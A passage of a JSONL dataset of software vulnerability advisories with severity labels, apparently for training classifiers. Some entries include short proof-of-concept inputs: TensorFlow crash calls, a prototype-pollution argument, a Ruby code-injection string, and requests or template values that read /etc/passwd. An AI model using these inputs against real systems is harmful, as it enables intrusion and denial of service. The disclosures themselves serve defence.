still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Incomplete validation in MKL requantization\n\n[Severity: HIGH]\n\n### Impact\nDue to incomplete validation in MKL implementation of requantization, an  attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RequantizationRangePerChannel(\n  input=[],\n  input_min=[0,0,0,0,0],\n  input_max=[1,1,1,1,1],\n  clip_value_max=1)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/mkl/mkl_requantization_range_per_channel_op.cc) does not validate the dimensions of the `input` tensor.\n\nA similar issue occurs in `MklRequantizePerChannelOp`:\n\n```python\nimport tensorflow as tf \nfrom tensorflow.python.ops import gen_math_ops\n\ngen_math_ops.requantize_per_channel(\n  input=[],\n  input_min=[-100,-100,-100,-100,-100],\n  input_max=[-100,-100,-100],\n  requested_output_min=[-100,-100,-100,-100,-100],\n  requested_output_max=[],\n  out_type=tf.int)\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/mkl/mkl_requantize_per_channel_op.cc) does not perform full validation for all the input arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [9e62869465573cb2d9b5053f1fa02a81fce21d69](https://github.com/tensorflow/tensorflow/commit/9e62869465573cb2d9b5053f1fa02a81fce21d69) and in the Github commit [203214568f5bc237603dbab6e1fd389f1572f5c9](https://github.com/tensorflow/tensorflow/commit/203214568f5bc237603dbab6e1fd389f1572f5c9).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "63bf8e97f71eec811c7b", "text": "Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events", "text_raw": "Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "0d2bab1d27ffd5307f5e", "text": "Prototype Pollution in minimist\n\nAffected versions of `minimist` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  \nParsing the argument `--__proto__.y=Polluted` adds a `y` property with value `Polluted` to all objects. The argument `--__proto__=Polluted` raises and uncaught error and crashes the application.  \nThis is exploitable if attackers have control over the arguments being passed to `minimist`.\n\n## Recommendation\n\nUpgrade to versions 0.2.1, 1.2.3 or later.", "text_raw": "Prototype Pollution in minimist\n\n[Severity: MEDIUM]\n\nAffected versions of `minimist` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  \nParsing the argument `--__proto__.y=Polluted` adds a `y` property with value `Polluted` to all objects. The argument `--__proto__=Polluted` raises and uncaught error and crashes the application.  \nThis is exploitable if attackers have control over the arguments being passed to `minimist`.\n\n\n## Recommendation\n\nUpgrade to versions 0.2.1, 1.2.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-03", "split": "train"}
-{"id": "c61797562dde3a0d102f", "text": "Code Injection in node-extend\n\nnode-extend through 0.2.0 is vulnerable to Arbitrary Code Execution. User input provided to the argument `A` of `extend` function`(A,B,as,isAargs)` located within `lib/extend.js` is executed by the `eval` function, resulting in code execution.", "text_raw": "Code Injection in node-extend\n\n[Severity: CRITICAL]\n\nnode-extend through 0.2.0 is vulnerable to Arbitrary Code Execution. User input provided to the argument `A` of `extend` function`(A,B,as,isAargs)` located within `lib/extend.js` is executed by the `eval` function, resulting in code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "cc67a1d97674e8022463", "text": "Shell Metacharacter Injection in kelredd-pruview\n\nkelredd-pruview gem 0.3.8 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename argument to document.rb, video.rb, or video_image.rb.", "text_raw": "Shell Metacharacter Injection in kelredd-pruview\n\n[Severity: CRITICAL]\n\nkelredd-pruview gem 0.3.8 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a filename argument to document.rb, video.rb, or video_image.rb.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "4e7ec3a537b4acb06ce8", "text": "Code injection in dragonfly gem\n\n`lib/dragonfly/imagemagickutils.rb` in the fog-dragonfly gem 0.8.2 for Ruby allows remote attackers to execute arbitrary commands via unspecified vectors.", "text_raw": "Code injection in dragonfly gem\n\n[Severity: HIGH]\n\n`lib/dragonfly/imagemagickutils.rb` in the fog-dragonfly gem 0.8.2 for Ruby allows remote attackers to execute arbitrary commands via unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "0b9e7e45772fe464f17b", "text": "Accellion FTA SQL Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains a SQL injection vulnerability exploited via a crafted host header in a request to document_root.html.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89, CWE-138\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Accellion FTA SQL Injection Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains a SQL injection vulnerability exploited via a crafted host header in a request to document_root.html.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89, CWE-138\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "04c64f08f3e2625b48a3", "text": "Directory Traversal in serverlyr\n\nAffected versions of `serverlyr` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverlyr\n\n[Severity: HIGH]\n\nAffected versions of `serverlyr` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "e4e9374f98a00e0f47b7", "text": "Data races in aovec\n\nAn issue was discovered in the aovec crate through 2020-12-10 for Rust. Because Aovec<T> does not have bounds on its Send trait or Sync trait, a data race and memory corruption can occur.", "text_raw": "Data races in aovec\n\n[Severity: HIGH]\n\nAn issue was discovered in the aovec crate through 2020-12-10 for Rust. Because Aovec<T> does not have bounds on its Send trait or Sync trait, a data race and memory corruption can occur.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6c2c2a9d32d052a6b98e", "text": "Use-After-Free in puppeteer\n\nVersions of `puppeteer` prior to 1.13.0 are vulnerable to the Use-After-Free vulnerability in Chromium (CVE-2019-5786). The Chromium FileReader API is vulnerable to Use-After-Free which may lead to Remote Code Execution.\n\n## Recommendation\n\nUpgrade to version 1.13.0 or later.", "text_raw": "Use-After-Free in puppeteer\n\n[Severity: MEDIUM]\n\nVersions of `puppeteer` prior to 1.13.0 are vulnerable to the Use-After-Free vulnerability in Chromium (CVE-2019-5786). The Chromium FileReader API is vulnerable to Use-After-Free which may lead to Remote Code Execution.\n\n\n## Recommendation\n\nUpgrade to version 1.13.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "6ed52cffcac416298b43", "text": ".NET Core Information Disclosure\n\nAn information disclosure vulnerability exists in .NET Core when authentication information is inadvertently exposed in a redirect, aka \".NET Core Information Disclosure Vulnerability.\" This affects .NET Core 2.1, .NET Core 1.0, .NET Core 1.1, PowerShell Core 6.0.", "text_raw": ".NET Core Information Disclosure\n\n[Severity: HIGH]\n\nAn information disclosure vulnerability exists in .NET Core when authentication information is inadvertently exposed in a redirect, aka \".NET Core Information Disclosure Vulnerability.\" This affects .NET Core 2.1, .NET Core 1.0, .NET Core 1.1, PowerShell Core 6.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-21", "split": "train"}
-{"id": "6508cab890f18398bf92", "text": "Remote code execution in UReport\n\nAn arbitrary file creation vulnerability in UReport 2.2.9 allows attackers to execute arbitrary code.", "text_raw": "Remote code execution in UReport\n\n[Severity: CRITICAL]\n\nAn arbitrary file creation vulnerability in UReport 2.2.9 allows attackers to execute arbitrary code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "e455813de97a25dd284d", "text": "Code Injection vulnerability in CarrierWave::RMagick\n\n### Impact\n[CarrierWave::RMagick](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/processing/rmagick.rb) has a Code Injection vulnerability. Its `#manipulate!` method inappropriately evals the content of mutation option(`:read`/`:write`), allowing attackers to craft a string that can be executed as a Ruby code.\nIf an application developer supplies untrusted inputs to the option, it will lead to remote code execution(RCE).\n\n(But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)\n\n### Proof of Concept\n```ruby\nclass MyUploader < CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\nend\n\nMyUploader.new.manipulate!({ read: { density: \"1 }; p 'Hacked'; {\" }}) # => shows \"Hacked\"\n```\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nStop supplying untrusted input to `#manipulate!`'s mutation option.\n\n### References\n[Code Injection Software Attack](https://owasp.org/www-community/attacks/Code_Injection)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)", "text_raw": "Code Injection vulnerability in CarrierWave::RMagick\n\n[Severity: HIGH]\n\n### Impact\n[CarrierWave::RMagick](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/processing/rmagick.rb) has a Code Injection vulnerability. Its `#manipulate!` method inappropriately evals the content of mutation option(`:read`/`:write`), allowing attackers to craft a string that can be executed as a Ruby code.\nIf an application developer supplies untrusted inputs to the option, it will lead to remote code execution(RCE).\n\n(But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)\n\n### Proof of Concept\n```ruby\nclass MyUploader < CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\nend\n\nMyUploader.new.manipulate!({ read: { density: \"1 }; p 'Hacked'; {\" }}) # => shows \"Hacked\"\n```\n\n### Patches\nUpgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).\n\n### Workarounds\nStop supplying untrusted input to `#manipulate!`'s mutation option.\n\n### References\n[Code Injection Software Attack](https://owasp.org/www-community/attacks/Code_Injection)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [CarrierWave repo](https://github.com/carrierwaveuploader/carrierwave)\n* Email me at [mit.shibuya@gmail.com](mailto:mit.shibuya@gmail.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "a5c575ed579322b4ae88", "text": "The Bouncy Castle Java library before 1.51 does not validate a point is withing the elliptic curve, which makes it easier for remote attackers to obtain private keys via a series of crafted elliptic curve Diffie Hellman (ECDH) key exchanges, aka an \"invalid curve attack.\"", "text_raw": "Moderate severity vulnerability that affects org.bouncycastle:bcprov-jdk14 and org.bouncycastle:bcprov-jdk15\n\n[Severity: MEDIUM]\n\nThe Bouncy Castle Java library before 1.51 does not validate a point is withing the elliptic curve, which makes it easier for remote attackers to obtain private keys via a series of crafted elliptic curve Diffie Hellman (ECDH) key exchanges, aka an \"invalid curve attack.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "0f76a62adf91122f213a", "text": "Dell SonicWALL Network Security Appliance NSA 6600 Reflected XSS", "text_raw": "Dell SonicWALL Network Security Appliance NSA 6600 Reflected XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-29", "split": "train"}
-{"id": "669630a6f6c07072891c", "text": "Cross-site scripting in jspdf\n\nIt's possible to use nested script tags in order to bypass the filtering regex.", "text_raw": "Cross-site scripting in jspdf\n\n[Severity: MEDIUM]\n\nIt's possible to use nested script tags in order to bypass the filtering regex.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-11", "split": "train"}
-{"id": "274b9527bb2694328a11", "text": "V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery", "text_raw": "V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-09-26", "split": "train"}
-{"id": "0e2dcd5dd07fe6feb0da", "text": "Malicious URL drafting attack against iodines static file server may allow path traversal\n\n### Impact\n\nA path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.\n\nMalicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.\n\n### Patches\n\nThe vulnerability was patched in version 0.7.34. Please upgrade to the latest version.\n\n### Workarounds\n\nA possible workaround would be to disable the static file service and it's `X-Sendfile` support, sending static files using nginx or a source code solution (sending the data dynamically).\n\nHowever, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email [Boaz Segev](https://github.com/boazsegev)", "text_raw": "Malicious URL drafting attack against iodines static file server may allow path traversal\n\n[Severity: HIGH]\n\n### Impact\n\nA path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.\n\nMalicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.\n\n### Patches\n\nThe vulnerability was patched in version 0.7.34. Please upgrade to the latest version.\n\n### Workarounds\n\nA possible workaround would be to disable the static file service and it's `X-Sendfile` support, sending static files using nginx or a source code solution (sending the data dynamically).\n\nHowever, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email [Boaz Segev](https://github.com/boazsegev)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-07", "split": "train"}
-{"id": "c3052e0a9a8857522716", "text": "Bypassing Sanitization using DOM clobbering in html-janitor\n\nAll versions of `html-janitor` are vulnerable to cross-site scripting (XSS).\n\nArbitrary HTML can pass the sanitization process, which can be unexpected and dangerous (XSS) in case user-controlled input is passed to the clean function.\"\n\n## Recommendation\n\nUpgrade to version 2.0.4 or later.", "text_raw": "Bypassing Sanitization using DOM clobbering in html-janitor\n\n[Severity: MEDIUM]\n\nAll versions of `html-janitor` are vulnerable to cross-site scripting (XSS).\n\nArbitrary HTML can pass the sanitization process, which can be unexpected and dangerous (XSS) in case user-controlled input is passed to the clean function.\"\n\n\n## Recommendation\n\nUpgrade to version 2.0.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "d32e1de024d1db8010eb", "text": "Prototype Pollution in mixme\n\n### Impact\nWhen copying properties from a source object to a target object, the target object can gain access to certain properties of the source object and modify their content.\n\n### Patches\nThe problem was patch with a more agressive discovery of secured properties to filter out.", "text_raw": "Prototype Pollution in mixme\n\n[Severity: HIGH]\n\n### Impact\nWhen copying properties from a source object to a target object, the target object can gain access to certain properties of the source object and modify their content.\n\n### Patches\nThe problem was patch with a more agressive discovery of secured properties to filter out.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "2d5ccd44265cdeb10442", "text": "insecure temporary directory usage in passenger\n\next/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6 for Ruby allows local users to gain privileges or possibly change the ownership of arbitrary directories via a symlink attack on a directory with a predictable name in /tmp/.", "text_raw": "insecure temporary directory usage in passenger\n\n[Severity: MEDIUM]\n\next/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6 for Ruby allows local users to gain privileges or possibly change the ownership of arbitrary directories via a symlink attack on a directory with a predictable name in /tmp/.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f1642d5d434ba8e2e9f1", "text": "Regular Expression Denial of Service in fresh\n\nAffected versions of `fresh` are vulnerable to regular expression denial of service when parsing specially crafted user input.\n\n## Recommendation\n\nUpdate to version 0.5.2 or later.", "text_raw": "Regular Expression Denial of Service in fresh\n\n[Severity: HIGH]\n\nAffected versions of `fresh` are vulnerable to regular expression denial of service when parsing specially crafted user input.\n\n\n## Recommendation\n\nUpdate to version 0.5.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "abd9d69a5ae2f47c32ad", "text": "D-Link DNS-320 Device Command Injection Vulnerability\n\nAffected: D-Link DNS-320 Device\n\nD-Link DNS-320 device contains a command injection vulnerability in the sytem_mgr.cgi component that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "D-Link DNS-320 Device Command Injection Vulnerability\n\nAffected: D-Link DNS-320 Device\n\nD-Link DNS-320 device contains a command injection vulnerability in the sytem_mgr.cgi component that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f6a6bd2ea3cb1b411c3d", "text": "Denial of Service in mem\n\nVersions of `mem` prior to 4.0.0 are vulnerable to Denial of Service (DoS).  The package fails to remove old values from the cache even after a value passes its `maxAge` property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging.\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later.", "text_raw": "Denial of Service in mem\n\n[Severity: MEDIUM]\n\nVersions of `mem` prior to 4.0.0 are vulnerable to Denial of Service (DoS).  The package fails to remove old values from the cache even after a value passes its `maxAge` property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging.\n\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "54521f3a9066a10f7440", "text": "CHECK-fail in SparseConcat\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.SparseConcat`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nindices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64)\nindices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.zeros([0], dtype=tf.int64)\nvalues_2 = tf.zeros([0], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nshape_1 = tf.constant([442, 514, 514, 515, 606, 347, 943, 61, 2], dtype=tf.int64)\nshape_2 = tf.zeros([9], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ntf.raw_ops.SparseConcat(indices=indices, values=values, shapes=shapes, concat_dim=2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b432a38fe0e1b4b904a6c222cbce794c39703e87/tensorflow/core/kernels/sparse_concat_op.cc#L76) takes the values specified in `shapes[0]` as dimensions for the output shape:\n\n```cc\nTensorShape input_shape(shapes[0].vec<int64>());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n\n```cc\ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "CHECK-fail in SparseConcat\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.SparseConcat`: \n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nindices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64)\nindices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.zeros([0], dtype=tf.int64)\nvalues_2 = tf.zeros([0], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nshape_1 = tf.constant([442, 514, 514, 515, 606, 347, 943, 61, 2], dtype=tf.int64)\nshape_2 = tf.zeros([9], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ntf.raw_ops.SparseConcat(indices=indices, values=values, shapes=shapes, concat_dim=2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b432a38fe0e1b4b904a6c222cbce794c39703e87/tensorflow/core/kernels/sparse_concat_op.cc#L76) takes the values specified in `shapes[0]` as dimensions for the output shape:\n\n```cc\nTensorShape input_shape(shapes[0].vec<int64>());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n\n```cc\ntemplate <class Shape>\nTensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate <class Shape>\nStatus TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial && (num_elements() < 0 || size < 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements < 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "71c76bbe1d1bcea8a295", "text": "Bypass of sitemp access restrictions\n\nA security bypass vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. A user with privileges to generate sitemaps can bypass configuration that restricts directory access. The bypass allows overwrite of a subset of configuration files which can lead to denial of service.\n\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.", "text_raw": "Bypass of sitemp access restrictions\n\n[Severity: MEDIUM]\n\nA security bypass vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. A user with privileges to generate sitemaps can bypass configuration that restricts directory access. The bypass allows overwrite of a subset of configuration files which can lead to denial of service.\n\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "8ada3519add36c2ed35c", "text": "Unintended read access in kramdown gem\n\nThe kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template=\"/etc/passwd\") or unintended embedded Ruby code execution (such as a string that begins with template=\"string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.", "text_raw": "Unintended read access in kramdown gem\n\n[Severity: CRITICAL]\n\nThe kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template=\"/etc/passwd\") or unintended embedded Ruby code execution (such as a string that begins with template=\"string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-07", "split": "train"}
